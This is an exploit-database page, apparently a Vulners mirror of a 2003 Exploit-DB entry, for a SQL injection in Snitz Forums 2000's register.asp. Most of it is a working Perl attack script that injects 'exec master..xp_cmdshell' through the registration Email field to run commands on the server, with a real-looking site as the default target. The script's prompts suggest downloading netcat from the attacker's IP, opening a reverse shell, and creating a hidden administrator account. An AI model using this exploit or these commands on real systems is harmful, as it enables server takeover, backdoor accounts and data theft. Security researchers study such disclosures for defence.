Lucene search
K

Snitz Forums 2000 - 'register.asp' SQL Injection

🗓️ 10 May 2003 00:00:00Reported by sharpiemarkerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

SQL injection vulnerability in Snitz Forums 2000's register.asp allows remote data manipulation.

Code
source: https://www.securityfocus.com/bid/7549/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems. Snitz is back-ended by a database and supports Microsoft Access 97/2000, SQL Server 6.5/7.0/2000 and MySQL.

It is possible for a remote attacker to inject SQL into queries made by the register.asp script.

Depending on the database implementation used, this may possibly result in sensitive information information in the database being disclosed or may enable the attacker to modify data. There is also the possibility that this issue may be leveraged to exploit vulnerabilities that may exist in the underlying database. 

#!/usr/bin/perl

use Socket;

print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";

print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>;
chomp $webserver;
if( $webserver eq "" )
{
	$webserver = "www.enterthegame.com";
}

print "\nWeb server port? [80]: ";
my $port = <STDIN>;
chomp $port;
if( $port eq "" )
{
	$port = 80;
}

print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = <STDIN>;
chomp $path;
if( $path eq "" )
{
	$path = "/forum/register.asp";
}

print "\nCommand to execute non-interactively\n";
print "     Example commands: tftp -i Your.IP.Here GET nc.exe\n";
print "                       nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
print "     or:               net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
print "Your command: ";
my $command = <STDIN>;
chomp $command;
$command =~ s/\ /\%20/g;

if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
	print "Error connecting to $webserver\n";
	exit( 0 );
}
else
{
	my $data1 = $path . "\?mode\=DoIt";
	my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz";
	my $length = length( $data2 );

	print FILEHANDLE "POST $data1 HTTP/1.1\n";
	if( $port == 80 )
	{
		print FILEHANDLE "Host: $webserver\n";
	}
	else
	{
		print FILEHANDLE "Host: $webserver:$port\n";
	}
	print FILEHANDLE "Accept: */*\n";
	print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
	print FILEHANDLE "Keep-Alive: 300\n";
	print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
	print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
	print FILEHANDLE "Content-Length: $length\n\n";
	print FILEHANDLE "$data2";

	print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
	print "netcat, hit \"enter\" a couple of times to be safe.\n\n";

	close( FILEHANDLE );
}

sub open_TCP
{
	my( $FS, $dest, $port ) = @_;

	my $proto = getprotobyname( 'tcp' );
	socket( $FS, PF_INET, SOCK_STREAM, $proto );
	my $sin = sockaddr_in( $port, inet_aton( $dest ));
	connect( $FS, $sin ) || return undef;

	my $old_fh = select( $FS );
	$| = 1;
	select( $old_fh );
	return 1;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation